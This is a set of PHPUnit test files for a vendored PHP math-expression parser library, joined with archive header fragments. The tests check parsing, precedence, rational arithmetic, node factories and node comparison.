assertNumberNode($node, $value) { $this->assertInstanceOf('MathParser\Parsing\Nodes\NumberNode', $node); $this->assertEquals($value, $node->getValue()); } private function assertIntegerNode($node, $value) { $this->assertInstanceOf('MathParser\Parsing\Nodes\IntegerNode', $node); $this->assertEquals($value, $node->getValue()); } private function assertRationalNode($node, $p, $q) { $this->assertInstanceOf('MathParser\Parsing\Nodes\RationalNode', $node); $this->assertEquals($p, $node->getNumerator()); $this->assertEquals($q, $node->getDenominator()); } private function assertVariableNode($node, $value) { $this->assertInstanceOf('MathParser\Parsing\Nodes\VariableNode', $node); $this->assertEquals($value, $node->getName()); } private function assertCompareNodes($text) { $node1 = $this->parser->parse($text); $node2 = $this->parser->parse($text); $this->assertNodesEqual($node1, $node2); } public function testCanCompareNodes() { $this->assertCompareNodes("3"); $this->assertCompareNodes("x"); $this->assertCompareNodes("x+y"); $this->assertCompareNodes("sin(x)"); $this->assertCompareNodes("(x)"); $this->assertCompareNodes("1+x+y"); } private function assertTokenEquals($value, $type, Token $token) { $this->assertEquals($value, $token->getValue()); $this->assertEquals($type, $token->getType()); } public function testCanGetTokenList() { $node = $this->parser->parse("x+y"); $tokens = $this->parser->getTokenList(); $this->assertTokenEquals("x", TokenType::Identifier, $tokens[0]); $this->assertTokenEquals("+", TokenType::AdditionOperator, $tokens[1]); $this->assertTokenEquals("y", TokenType::Identifier, $tokens[2]); } public function testCanGetTree() { $node = $this->parser->parse("1+x"); $tree = $this->parser->getTree(); $this->assertNodesEqual($node, $tree); } public function testCanParseSingleNumberExpression() { $node = $this->parser->parse("3"); $shouldBe = new IntegerNode(3); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("2/3"); $shouldBe = new RationalNode(2, 3); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("3.5"); $shouldBe = new NumberNode(3.5); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseSingleVariable() { $node = $this->parser->parse('x'); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('(x)'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('((x))'); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseSingleConstant() { $node = $this->parser->parse('pi'); $shouldBe = new ConstantNode('pi'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('(pi)'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('((pi))'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('e'); $shouldBe = new ConstantNode('e'); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseBinaryExpression() { $node = $this->parser->parse("x+y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '+', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x-y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '-', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x*y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '*', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x/y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '/', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x^y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '^', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseWithCorrectAssociativity() { $node = $this->parser->parse("x+y+z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '+', new VariableNode('y')), '+', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x-y-z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '-', new VariableNode('y')), '-', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x*y*z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '*', new VariableNode('y')), '*', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x/y/z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '/', new VariableNode('y')), '/', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x^y^z"); $shouldBe = new ExpressionNode( new VariableNode('x'), '^', new ExpressionNode(new VariableNode('y'), '^', new VariableNode('z')) ); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseWithCorrectPrecedence() { $x = new VariableNode('x'); $y = new VariableNode('y'); $z = new VariableNode('z'); $node = $this->parser->parse("x+y*z"); $factors = new ExpressionNode($y, '*', $z); $shouldBe = new ExpressionNode($x, '+', $factors); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x*y+z"); $factors = new ExpressionNode($x, '*', $y); $shouldBe = new ExpressionNode($factors, '+', $z); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseParentheses() { $node = $this->parser->parse("(x)"); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("((x))"); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x+1)"); $shouldBe = $this->parser->parse("x+1"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x*y)"); $shouldBe = $this->parser->parse("x*y"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x^y)"); $shouldBe = $this->parser->parse("x^y"); $this->assertNodesEqual($node, $shouldBe); } public function testImplicitMultiplication() { $node = $this->parser->parse("2x"); $shouldBe = $this->parser->parse("2*x"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("2xy"); $shouldBe = $this->parser->parse("2*x*y"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("2x^2"); $shouldBe = $this->parser->parse("2*x^2"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("2x^2y"); $shouldBe = $this->parser->parse("2*x^2*y"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(-x)2"); $shouldBe = $this->parser->parse("(-x)*2"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x^2y^2"); $shouldBe = $this->parser->parse("x^2*y^2"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x+1)(x-1)"); $shouldBe = $this->parser->parse("(x+1)*(x-1)"); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseUnaryOperators() { $node = $this->parser->parse("-x"); $shouldBe = new ExpressionNode(new VariableNode('x'), '-', null); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("+x"); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x+y"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '-', null), '+', new VariableNode('y') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x*y"); $shouldBe = $this->parser->parse("-(x*y)"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x^y"); $shouldBe = $this->parser->parse("-(x^y)"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(-x)^y"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '-', null), '^', new VariableNode('y') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-(1/2)"); $shouldBe = new RationalNode(-1, 2); $this->assertNodesEqual($node, $shouldBe); } public function testSyntaxErrorException() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('1+'); } public function testSyntaxErrorException2() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('**3'); } public function testSyntaxErrorException3() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('-'); } public function testParenthesisMismatchException() { $this->expectException(ParenthesisMismatchException::class); $this->parser->parse('1+1)'); $this->expectException(ParenthesisMismatchException::class); $this->parser->parse('(1+1'); } public function testCanEvaluateNode() { $f = $this->parser->parse('x+y'); $this->assertEquals($f->evaluate(['x' => 1, 'y' => 2]), 3); } public function testCanParseRationals() { $f = $this->parser->parse('1/2'); $this->assertTrue($f->compareTo(new RationalNode(1, 2))); $f = $this->parser->parse('1/2+1/3'); $this->assertTrue($f->compareTo(new RationalNode(5, 6))); $f = $this->parser->parse('1/2*2/5'); $this->assertTrue($f->compareTo(new RationalNode(1, 5))); $f = $this->parser->parse('(1/2)/(1/3)'); $this->assertTrue($f->compareTo(new RationalNode(3, 2))); } public function testAdditionNodeFactory() { $node = $this->factory->addition(new VariableNode('x'), new IntegerNode(0)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new VariableNode('x'), new RationalNode(0, 1)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new VariableNode('x'), new NumberNode(0)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new IntegerNode(0), new VariableNode('x')); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new RationalNode(0, 1), new VariableNode('x')); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new NumberNode(0), new VariableNode('x')); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new VariableNode('x'), new VariableNode('y')); $shouldBe = $this->parser->parse('x+y'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new NumberNode(1.5), new NumberNode(2.5)); $shouldBe = new NumberNode(4.0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new NumberNode(1.5), new RationalNode(1, 2)); $shouldBe = new NumberNode(2.0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new NumberNode(1.5), new IntegerNode(1)); $shouldBe = new NumberNode(2.5); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new RationalNode(1, 2), new RationalNode(1, 3)); $shouldBe = new RationalNode(5, 6); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new RationalNode(1, 2), new IntegerNode(1)); $shouldBe = new RationalNode(3, 2); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->addition(new IntegerNode(2), new IntegerNode(1)); $shouldBe = new IntegerNode(3); $this->assertNodesEqual($node, $shouldBe); } public function testDivisionNodeFactory() { $node = $this->factory->division(new VariableNode('x'), new IntegerNode(1)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->division(new IntegerNode(0), new VariableNode('x')); $shouldBe = new IntegerNode(0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->division(new RationalNode(0, 1), new VariableNode('x')); $shouldBe = new IntegerNode(0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->division(new NumberNode(0), new VariableNode('x')); $shouldBe = new IntegerNode(0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->division(new VariableNode('x'), new VariableNode('y')); $shouldBe = $this->parser->parse('x/y'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->division(new NumberNode(3.0), new NumberNode(1.5)); $shouldBe = new NumberNode(2.0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->division(new NumberNode(3.0), new RationalNode(3, 2)); $shouldBe = new NumberNode(2.0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->division(new NumberNode(3.0), new IntegerNode(2)); $shouldBe = new NumberNode(1.5); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->division(new RationalNode(1, 2), new RationalNode(1, 3)); $shouldBe = new RationalNode(3, 2); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->division(new RationalNode(1, 2), new IntegerNode(2)); $shouldBe = new RationalNode(1, 4); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->division(new IntegerNode(1), new IntegerNode(2)); $shouldBe = new RationalNode(1, 2); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->division(new VariableNode('x'), new VariableNode('x')); $shouldBe = new IntegerNode(1); $this->assertNodesEqual($node, $shouldBe); } public function testDivisionNodeFactoryThrows() { $this->expectException(DivisionByZeroException::class); $node = $this->factory->division(new VariableNode('x'), new IntegerNode(0)); } public function testDivisionNodeFactoryThrows2() { $this->expectException(DivisionByZeroException::class); $node = $this->factory->division(new VariableNode('x'), new RationalNode(0, 2)); } public function testDivisionNodeFactoryThrows3() { $this->expectException(DivisionByZeroException::class); $node = $this->factory->division(new VariableNode('x'), new NumberNode(0)); } public function testExponentiationNodeFactory() { $node = $this->factory->exponentiation(new VariableNode('x'), new VariableNode('y')); $shouldBe = $this->parser->parse('x^y'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->exponentiation(new VariableNode('x'), new IntegerNode(0)); $shouldBe = new IntegerNode(1); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->exponentiation(new VariableNode('x'), new RationalNode(0, 2)); $shouldBe = new IntegerNode(1); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->exponentiation(new VariableNode('x'), new NumberNode(0.0)); $shouldBe = new IntegerNode(1); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->exponentiation(new VariableNode('x'), new IntegerNode(1)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->exponentiation(new VariableNode('x'), new RationalNode(1, 1)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->exponentiation(new VariableNode('x'), new NumberNode(1.0)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->exponentiation(new NumberNode(2.0), new NumberNode(3.0)); $shouldBe = new NumberNode(8.0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->exponentiation(new IntegerNode(2), new IntegerNode(3)); $shouldBe = new IntegerNode(8); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->exponentiation(new RationalNode(1, 2), new RationalNode(1, 2)); $shouldBe = $this->parser->parse('(1/2)^(1/2)'); $this->assertNodesEqual($node, $shouldBe); $op1 = $this->factory->exponentiation(new VariableNode('x'), new IntegerNode(2)); $node = $this->factory->exponentiation($op1, new VariableNode('x')); $shouldBe = $this->parser->parse('x^(2*x)'); $this->assertNodesEqual($node, $shouldBe); } public function testMultiplicationNodeFactory() { $node = $this->factory->multiplication(new VariableNode('x'), new IntegerNode(1)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new VariableNode('x'), new NumberNode(1.0)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new VariableNode('x'), new RationalNode(1, 1)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new IntegerNode(1), new VariableNode('x')); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new NumberNode(1.0), new VariableNode('x')); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new RationalNode(1, 1), new VariableNode('x')); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new IntegerNode(0), new VariableNode('x')); $shouldBe = new IntegerNode(0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new RationalNode(0, 1), new VariableNode('x')); $shouldBe = new IntegerNode(0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new NumberNode(0), new VariableNode('x')); $shouldBe = new IntegerNode(0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new VariableNode('x'), new IntegerNode(0)); $shouldBe = new IntegerNode(0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new VariableNode('x'), new RationalNode(0, 2)); $shouldBe = new IntegerNode(0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new VariableNode('x'), new NumberNode(0)); $shouldBe = new IntegerNode(0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new VariableNode('x'), new VariableNode('y')); $shouldBe = $this->parser->parse('x*y'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new NumberNode(3.0), new NumberNode(1.5)); $shouldBe = new NumberNode(4.5); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new NumberNode(3.0), new RationalNode(3, 2)); $shouldBe = new NumberNode(4.5); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new NumberNode(3.0), new IntegerNode(2)); $shouldBe = new NumberNode(6.0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new RationalNode(1, 2), new RationalNode(1, 3)); $shouldBe = new RationalNode(1, 6); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new RationalNode(1, 2), new IntegerNode(2)); $shouldBe = new RationalNode(1, 1); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->multiplication(new IntegerNode(1), new IntegerNode(2)); $shouldBe = new IntegerNode(2); $this->assertNodesEqual($node, $shouldBe); } public function testSubtractionNodeFactory() { $node = $this->factory->subtraction(new VariableNode('x'), new IntegerNode(0)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new VariableNode('x'), new RationalNode(0, 1)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new VariableNode('x'), new NumberNode(0)); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new VariableNode('x'), new VariableNode('y')); $shouldBe = $this->parser->parse('x-y'); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new VariableNode('x'), new VariableNode('x')); $shouldBe = new IntegerNode(0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new NumberNode(1.5), new NumberNode(2.5)); $shouldBe = new NumberNode(-1.0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new NumberNode(1.5), new RationalNode(1, 2)); $shouldBe = new NumberNode(1.0); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new NumberNode(1.5), new IntegerNode(1)); $shouldBe = new NumberNode(0.5); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new RationalNode(1, 2), new RationalNode(1, 3)); $shouldBe = new RationalNode(1, 6); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new RationalNode(1, 2), new IntegerNode(1)); $shouldBe = new RationalNode(-1, 2); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new IntegerNode(2), new IntegerNode(1)); $shouldBe = new IntegerNode(1); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new NumberNode(1.5), null); $shouldBe = new NumberNode(-1.5); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new RationalNode(1, 5), null); $shouldBe = new RationalNode(-1, 5); $this->assertNodesEqual($node, $shouldBe); $node = $this->factory->subtraction(new IntegerNode(1), null); $shouldBe = new IntegerNode(-1); $this->assertNodesEqual($node, $shouldBe); $op1 = $this->factory->subtraction(new VariableNode('x'), null); $node = $this->factory->subtraction($op1, null); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Parsing/NodeTest.php000064400000020075147600365160024454 0ustar00parser = new RationalMathParser(); $this->factory = new NodeFactory(); } public function testCanCompareSubExpressionNodes() { $node = new SubExpressionNode('%'); $other = new NumberNode(1); $this->assertFalse($node->compareTo(null)); $this->assertFalse($node->compareTo($other)); $this->assertTrue($node->compareTo($node)); $this->assertFalse($node->compareTo(new SubExpressionNode('$'))); } public function testCanCompareConstantNodes() { $node = new ConstantNode('pi'); $other = new NumberNode(1); $this->assertFalse($node->compareTo(null)); $this->assertFalse($node->compareTo($other)); $this->assertTrue($node->compareTo($node)); $this->assertFalse($node->compareTo(new ConstantNode('e'))); } public function testCanCompareFunctionNodes() { $node = new FunctionNode('sin', new VariableNode('x')); $other = new NumberNode(1); $this->assertFalse($node->compareTo(null)); $this->assertFalse($node->compareTo($other)); $this->assertTrue($node->compareTo($node)); $this->assertFalse($node->compareTo(new FunctionNode('cos', new VariableNode('x')))); } public function testCanCompareVariableNodes() { $node = new VariableNode('x'); $other = new NumberNode(1); $this->assertFalse($node->compareTo(null)); $this->assertFalse($node->compareTo($other)); $this->assertTrue($node->compareTo($node)); $this->assertFalse($node->compareTo(new VariableNode('y'))); } public function testCanCompareNumberNodes() { $node = new NumberNode(3); $other = new VariableNode('x'); $inode = new IntegerNode(2); $rnode = new RationalNode(4, 2); $this->assertFalse($node->compareTo(null)); $this->assertFalse($node->compareTo($other)); $this->assertTrue($node->compareTo($node)); $this->assertFalse($node->compareTo(new IntegerNode(7))); $this->assertTrue($inode->compareTo($rnode)); $this->assertTrue($rnode->compareTo($inode)); $this->assertTrue($inode->compareTo($inode)); $this->assertTrue($rnode->compareTo($rnode)); $this->assertFalse($inode->compareTo(new Integernode(3))); $this->assertFalse($node->compareTo(null)); $this->assertFalse($other->compareTo(null)); $this->assertFalse($inode->compareTo(null)); $this->assertFalse($rnode->compareTo(null)); $this->assertFalse($rnode->compareTo(new IntegerNode(3))); $this->assertFalse($rnode->compareTo($other)); $this->assertFalse($inode->compareTo(new RationalNode(3, 5))); $this->assertFalse($inode->compareTo($other)); } public function testCanCompareExpressionNodes() { $node = new ExpressionNode(new VariableNode('x'), '+', new VariableNode('y')); $node2 = new ExpressionNode(new VariableNode('x'), '-', new VariableNode('y')); $node3 = new ExpressionNode(new VariableNode('x'), '-', null); $node4 = new ExpressionNode(null, '-', new VariableNode('y')); $other = new VariableNode('x'); $this->assertFalse($node->compareTo(null)); $this->assertFalse($node->compareTo($other)); $this->assertTrue($node->compareTo($node)); $this->assertTrue($node2->compareTo($node2)); $this->assertTrue($node3->compareTo($node3)); $this->assertTrue($node4->compareTo($node4)); $this->assertFalse($node->compareTo($node2)); $this->assertFalse($node->compareTo($node3)); $this->assertFalse($node->compareTo($node4)); $this->assertFalse($node2->compareTo($node3)); $this->assertFalse($node2->compareTo($node4)); $this->assertFalse($node3->compareTo($node4)); $this->assertFalse($node2->compareTo($node4)); } public function testCanCompareUnaryMinus() { $node = new FunctionNode('sin', new ExpressionNode(new VariableNode('x'), '-', null)); $other = new FunctionNode('sin', new ExpressionNode(new VariableNode('a'), '-', null)); $this->assertTrue($node->compareTo($node)); $this->assertTrue($other->compareTo($other)); $this->assertFalse($node->compareTo($other)); $this->assertFalse($other->compareTo($node)); } public function testCanComputeComplexity() { $node = new NumberNode(1); $this->assertEquals($node->complexity(), 2); $node = new IntegerNode(1); $this->assertEquals($node->complexity(), 1); $node = new RationalNode(1, 2); $this->assertEquals($node->complexity(), 2); $node = new VariableNode('x'); $this->assertEquals($node->complexity(), 1); $node = new ConstantNode('pi'); $this->assertEquals($node->complexity(), 1); $f = $this->parser->parse('x+y'); $this->assertEquals($f->complexity(), 3); $f = $this->parser->parse('x-y'); $this->assertEquals($f->complexity(), 3); $f = $this->parser->parse('x*y'); $this->assertEquals($f->complexity(), 3); $f = $this->parser->parse('x/y'); $this->assertEquals($f->complexity(), 5); $f = $this->parser->parse('x^y'); $this->assertEquals($f->complexity(), 10); $f = $this->parser->parse('sin(x)'); $this->assertEquals($f->complexity(), 6); $f = $this->parser->parse('x + sin(x^2)'); $this->assertEquals($f->complexity(), 17); $node = new SubExpressionNode('('); $this->assertEquals($node->complexity(), 1000); } public function testCanCreateSubExpressionNode() { $node = new SubExpressionNode('%'); $this->assertEquals($node->getValue(), '%'); $this->assertNull($node->accept(new TreePrinter())); } public function testCanCreateIntegerNode() { $node = new IntegerNode(1); $this->assertEquals($node->getValue(), 1); $node = new IntegerNode(-1); $this->assertEquals($node->getValue(), -1); $this->expectException(\UnexpectedValueException::class); $node = new IntegerNode(1.2); } public function testCanCreateRationalNode() { $node = new RationalNode(1, 2); $this->assertEquals($node->getNumerator(), 1); $this->assertEquals($node->getDenominator(), 2); $this->assertEquals($node->getValue(), 0.5); $node = new RationalNode(4, 8); $this->assertEquals($node->getNumerator(), 1); $this->assertEquals($node->getDenominator(), 2); $node = new RationalNode(-1, 2); $this->assertEquals($node->getNumerator(), -1); $this->assertEquals($node->getDenominator(), 2); $node = new RationalNode(1, -2); $this->assertEquals($node->getNumerator(), -1); $this->assertEquals($node->getDenominator(), 2); $this->expectException(\UnexpectedValueException::class); $node = new RationalNode(1.2, 2); } public function testDivisionNodeFactory() { $factory = new DivisionNodeFactory(); $this->assertTrue( $factory->makeNode(new IntegerNode(1), new IntegerNode(3))->compareTo( new RationalNode(1, 3) ) ); $this->assertTrue( $factory->makeNode(new RationalNode(2, 3), new RationalNode(3, 5))->compareTo( new RationalNode(10, 9) ) ); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Parsing/StdMathParserTest.php000064400000037202147600365160026310 0ustar00parser = new StdMathParser(); } private function assertNodesEqual($node1, $node2) { $printer = new TreePrinter(); $message = "Node1: " . $node1->accept($printer) . "\nNode 2: " . $node2->accept($printer) . "\n"; $this->assertTrue($node1->compareTo($node2), $message); } private function assertNumberNode($node, $value) { $this->assertInstanceOf('MathParser\Parsing\Nodes\NumberNode', $node); $this->assertEquals($value, $node->getValue()); } private function assertVariableNode($node, $value) { $this->assertInstanceOf('MathParser\Parsing\Nodes\VariableNode', $node); $this->assertEquals($value, $node->getName()); } private function assertCompareNodes($text) { $node1 = $this->parser->parse($text); $node2 = $this->parser->parse($text); $this->assertNodesEqual($node1, $node2); } public function testCanCompareNodes() { $this->assertCompareNodes("3"); $this->assertCompareNodes("x"); $this->assertCompareNodes("x+y"); $this->assertCompareNodes("sin(x)"); $this->assertCompareNodes("(x)"); $this->assertCompareNodes("1+x+y"); } private function assertTokenEquals($value, $type, Token $token) { $this->assertEquals($value, $token->getValue()); $this->assertEquals($type, $token->getType()); } public function testCanGetTokenList() { $node = $this->parser->parse("x+y"); $tokens = $this->parser->getTokenList(); $this->assertTokenEquals("x", TokenType::Identifier, $tokens[0]); $this->assertTokenEquals("+", TokenType::AdditionOperator, $tokens[1]); $this->assertTokenEquals("y", TokenType::Identifier, $tokens[2]); } public function testCanGetTree() { $node = $this->parser->parse("1+x"); $tree = $this->parser->getTree(); $this->assertNodesEqual($node, $tree); } public function testCanParseSingleNumberExpression() { $node = $this->parser->parse("3"); $shouldBe = new NumberNode(3); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("3.5"); $shouldBe = new NumberNode(3.5); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseSingleVariable() { $node = $this->parser->parse('x'); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('(x)'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('((x))'); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseSingleConstant() { $node = $this->parser->parse('pi'); $shouldBe = new ConstantNode('pi'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('(pi)'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('((pi))'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('e'); $shouldBe = new ConstantNode('e'); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseBinaryExpression() { $node = $this->parser->parse("x+y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '+', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x-y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '-', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x*y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '*', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x/y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '/', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x^y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '^', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseWithCorrectAssociativity() { $node = $this->parser->parse("x+y+z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '+', new VariableNode('y')), '+', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x-y-z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '-', new VariableNode('y')), '-', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x*y*z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '*', new VariableNode('y')), '*', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x/y/z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '/', new VariableNode('y')), '/', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x^y^z"); $shouldBe = new ExpressionNode( new VariableNode('x'), '^', new ExpressionNode(new VariableNode('y'), '^', new VariableNode('z')) ); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseThreeTerms() { $x = new VariableNode('x'); $y = new VariableNode('y'); $z = new VariableNode('z'); $mx = new ExpressionNode($x, '-', null); $node = $this->parser->parse("x+y+z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '+', new VariableNode('y')), '+', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x+y-z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '+', new VariableNode('y')), 